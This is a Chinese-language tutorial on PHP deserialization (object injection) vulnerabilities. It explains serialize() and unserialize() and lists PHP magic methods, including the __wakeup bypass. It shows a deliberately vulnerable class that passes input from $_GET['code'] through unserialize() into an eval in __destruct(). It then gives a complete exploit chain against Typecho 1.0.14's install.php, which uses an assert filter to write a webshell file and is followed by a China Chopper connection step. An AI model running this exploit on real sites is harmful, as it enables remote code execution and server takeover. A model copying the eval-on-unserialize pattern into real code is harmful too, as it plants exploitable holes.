序列化就是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通
PHP中的序列化与反序列化,基本都是围绕 serialize() 和 unserialize() 两个函数展开的。在介绍这两个函数之前,我们来看一个简单的例子。
我们可以用json格式数据的编码与解码,来理解序列化与反序列化的过程。虽然json数据与反序列化漏洞没有什么关系,但是这个例子会帮助我们理解。
$arr = array('name'=>'Bob','age'=>'23','sex'=>'man');
echo $arr;//不能输出
echo "
";
$json_arr = json_encode($arr);//转换成json格式
echo $json_arr;//可以输出
?>
我们定义一个数组,数组属于抽象的数据结构,为了方便跨平台传输数据,可以将其进行json编码。json格式的数据是以键值对的形式出现的。结果如下:
序列化会将一个抽象的对象转换为字符串。
首先创建一个类:classStu.php
class Stu{
public $name;
public $age;
public $sex;
}
?>
接下来对它进行实例化,使用serialize()函数对其进行序列化并输出:
include "classStu.php";
$stu1 = new Stu();
$stu1->name = "Bob";
$stu1->age = 23;
$stu1->sex = 'man';
echo serialize($stu1);
?>
include "classStu.php";
$stu1 = new Stu();
$stu1->name = "Bob";
$stu1->age = 23;
$stu1->sex = 'man';
echo serialize($stu1);
$str = <<<STR
O:3:"Stu":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:3:"sex";s:3:"man";}
STR;
echo "
";
var_dump(unserialize($str));
?>
class Test{
public $name = "Bob";
function __destruct(){
@eval($this->name);
}
}
$test = new Test();
$str = serialize($test);//序列化
echo $str;
echo "
";
var_dump(unserialize($_GET['code']));//反序列化get传递过来的参数
?>
反序列化注入:
我们在拿到序列化字符串之后,就可以对其进行修改,再将其反序列化!
由以上代码,我们会发现,PHP的反序列化漏洞需要与其他漏洞配合,比如代码执行、SQLi 等。
我们注入的字符串phpinfo()
,为什么会作为PHP语句运行呢?
观察代码,发现在类中有一个函数__destruct()
,并且这个函数调用的eval
语句执行了$this->name
变量。
为什么__destruct()
没有被调用,函数内的语句就被执行了呢?
可以用如下代码测试__destruct()
函数
class Test{
public $name = "Bob";
function __destruct(){
echo "This is function __destruct()";
//@eval($this->name);
}
}
var_dump(unserialize($_GET['code']));
?>
我们发现,当销毁实例化类的时候,__destruct()
函数会被自动调用,并输出字符串This is function __destruct()
以__
开头的方法,是PHP中的魔术方法,在类中的魔术方法,在特定情况下会被自动调用。主要魔术方法如下:
方法 | 作用 |
---|---|
__construct() | 在创建对象时自动调用 |
__destruct() | 在销毁对象时自动调用 |
__call() | 在对象中调用一个不可访问方法时,__call()会被调用 |
__callstatic() | 在静态上下文中调用一个不可访问方法时调用 |
__get() | 读取不可访问属性的值时,__get()会被调用 |
__set() | 在给不可访问属性赋值时,__set()会被调用 |
__isset() | 当对不可访问属性调用isset()或empty()时,__isset()会被调用 |
__unset() | 当对不可访问属性调用unset()时,__unset()会被调用 |
__invoke() | 当尝试以调用函数的方式调用一个对象的时候,__invoke()会被调用 |
__sleep() | 当对一个对象序列化时,php就会调用__sleep方法(如果存在的话) |
__wakeup() | 在反序列化时,php就会调用__wakeup方法(如果存在的话)漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。 |
以Typecho v1.0.14为例:
将下载好的压缩包文件解压之后放到php的web根目录之下,然后访问这个网站:
在开始安装之前,我们得手动创建一个数据库:
进入控制台
登出回到首页
EXP:
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
//注入的 payload ,可以更改想注入的代码,这里演示写入一句话木马
//$this->_params['screenName'] = 'phpinfo()';
$this->_params['screenName'] = "fputs(fopen('shell.php','w'),'')";
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
执行这个EXP,可以生成一段POC:
在install.php页面含有反序列化漏洞:
生成一句话木马之后使用菜刀进行连接: